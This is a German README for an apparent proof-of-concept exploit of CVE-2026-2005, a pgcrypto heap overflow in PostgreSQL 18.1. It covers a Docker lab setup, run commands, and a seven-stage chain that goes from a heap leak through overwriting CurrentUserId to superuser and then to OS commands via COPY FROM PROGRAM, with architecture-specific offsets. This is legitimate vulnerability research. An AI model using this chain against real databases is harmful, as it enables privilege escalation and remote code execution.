
PostgreSQL pgcrypto Heap-Pufferüberlauf-PoC, der CVE-2026-2005 demonstriert: RCE mit geringen Privilegien und Privilegienerweiterung zum Superuser über manipulierte OpenPGP-Pakete.
Ziel-Commit: 4b324845ba5d24682b9b3708a769f00d160afbd7 (PostgreSQL 18.1 — verwundbar)
| Feld | Detail |
|---|---|
| CVE | CVE-2026-2005 |
| Typ | Heap-Pufferüberlauf |
| Komponente | contrib/pgcrypto/pgp-pubdec.c — pgp_parse_pubenc_sesskey() |
| Auswirkung | RCE als OS-Benutzer, der PostgreSQL ausführt |
| CVSS | 8.8 (AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) |
| Erforderliche Authentifizierung | Niedrig — jeder authentifizierte Benutzer mit CREATE-Berechtigung |
| Betroffen | PostgreSQL 14.0–14.20, 15.0–15.15, 16.0–16.11, 17.0–17.7, 18.0–18.1 |
| Behoben in | 14.21, 15.16, 16.12, 17.8, 18.2 (12. Februar 2026) |
| Architektur | aarch64 (ARM64) — Heap-Offsets und MBuf-Layout sind arch/glibc-spezifisch |
# PostgreSQL 18.1 (verwundbar) bauen und starten
docker compose up -d --build
# Auf healthy warten
docker compose logs -f postgres
# Strg+C, wenn "database system is ready to accept connections" erscheint
# Einmalige Einrichtung: postgres-Binary für Offline-Symbolanalyse kopieren
docker cp cve-2026-2005-poc:/usr/local/pgsql/bin/postgres ./postgres
# Node-Abhängigkeiten installieren
npm install
# Vollständige RCE-Exploit-Kette ausführen (reines SQL — keine Docker-Interaktion)
node exploit.js --cmd "id"
# Mit ausführlicher Ausgabe
node exploit.js --cmd "id" --verbose
# Benutzerdefinierten Befehl ausführen
node exploit.js --cmd "whoami"
Stufe 1: Heap-Pointer-Leak
└─ mdst-Chunk-Header beschädigen → pfree()-Fehlermeldung parsen
Stufe 2: Beliebiger Lesezugriff (Multi-Window-Scan)
└─ mdst->data überschreiben → Speicher in der Nähe des geleakten Pointers scannen
Stufe 3: Pointer-Kandidatensammlung
└─ Heap-Dumps nach pointerartigen 8-Byte-Werten durchsuchen
Stufe 4: PIE-Basisauflösung
└─ Geleakte Adressen gegen ELF-Symbol-Offsets abstimmen (Seiten-Offset-
gruppiert, offline — Symbole aus der lokalen Binary-Kopie geparst)
Stufe 5: PIE-Validierung
└─ Arb-Read von CurrentUserId an der Kandidatenbasis → mit Session-OID vergleichen
Stufe 6: Beliebiger Schreibzugriff
└─ msrc + mdst MBufs fälschen → CurrentUserId → 10 (Superuser) überschreiben
Stufe 7: Befehlsausführung
└─ COPY FROM PROGRAM → beliebiger OS-Befehl als postgres-Benutzer
CVE-2026-2005/
├── Dockerfile # Baut PostgreSQL 18.1 aus dem Quellcode
├── docker-compose.yml # PostgreSQL-Dienst mit Auto-Neustart
├── init.sh # Entrypoint — initdb + Listen-Konfiguration
├── README.md # Diese Datei
└── poc/
├── package.json # Node.js-Abhängigkeiten (pg)
├── exploit.js # Vollständiger 7-Stufen-RCE-Exploit (Node.js)
├── verify.sh # Shell-basierte Schnellverifizierung
└── test-pgcrypto.sql # Nur-SQL-Test des pgcrypto-Ladens
git clone https://github.com/postgres/postgres.git
cd postgres
git checkout 4b324845ba5d24682b9b3708a769f00d160afbd7
./configure \
--prefix="$HOME/projects/pg/pgsql" \
--with-libxml \
--with-libxslt \
--enable-debug \
--with-ssl=openssl
make -j$(nproc)
make install-world-bin
tmux (optional — nur mit --gdb-Flag benötigt)Der Fehler liegt in pgp_parse_pubenc_sesskey() in contrib/pgcrypto/pgp-pubdec.c.
Beim Parsen eines OpenPGP-Public-Key-Encrypted-Session-Key-Pakets (Tag 1):
memcpy in einen Puffer fester Größe basierend auf der unvalidierten LängeDas memcpy kann über die Heap-Puffergrenze hinaus schreiben, benachbarte Heap-Metadaten
oder -Daten beschädigen und zu beliebiger Codeausführung führen.
pfree()-Fehlermeldung
parsen, um die mdst->data-Heap-Adresse zu extrahieren./proc/<pid>/maps aus dem Docker-Container lesen,
um die Ladeadresse der postgres-Binary zur Laufzeit zu finden.msrc (Quelle) als auch mdst (Ziel) MBuf-Strukturen
über den Heap-Überlauf fälschen. msrc zeigt auf ein eingebettetes Symenc-Paket,
das die Superuser-OID (10) enthält; mdst zeigt auf CurrentUserId - 4
(unter Berücksichtigung des 4-Byte-SET_VARSIZE-Headers).CurrentUserId = 10 (Bootstrap-Superuser)
COPY FROM PROGRAM ausführen, um beliebige OS-Befehle auszuführen.pgcrypto-Erweiterung ist vertrauenswürdig — jeder Benutzer mit CREATE-Berechtigung
(kein Superuser) kann sie installieren, was dies mit niedrigen Berechtigungen ausnutzbar macht.--enable-debug für einfacheres Debugging mit gdb.SRC_CHUNK_OFFSET=100, DST_CHUNK_OFFSET=172) sind spezifisch
für aarch64 + glibc — andere Architekturen/Allokatoren benötigen andere Offsets.CurrentUserId über dieselbe
Arbitrary-Read-Primitive bestätigt.| Flag | Standard | Beschreibung |
|---|
--cmd | id | OS-Befehl, der nach erfolgreichem Exploit ausgeführt wird |
--key-size | 3072 | RSA-Schlüsselgröße in Bits |
--host | 127.0.0.1 | PostgreSQL-Host |
--port | 5432 | PostgreSQL-Port |
--user | postgres | Datenbankbenutzer |
--password | (leer) | Datenbankpasswort |
--dbname | postgres | Datenbankname |
--binary | ./postgres | Pfad zur postgres-ELF-Binary für Symbole |
--scan-offset | auto | Heap-Scan-Offset vom geleakten Pointer überschreiben |
--verbose | aus | Ausführliche Debug-Ausgabe aktivieren |
--gdb | aus | GDB über tmux am Überlaufpunkt anhängen |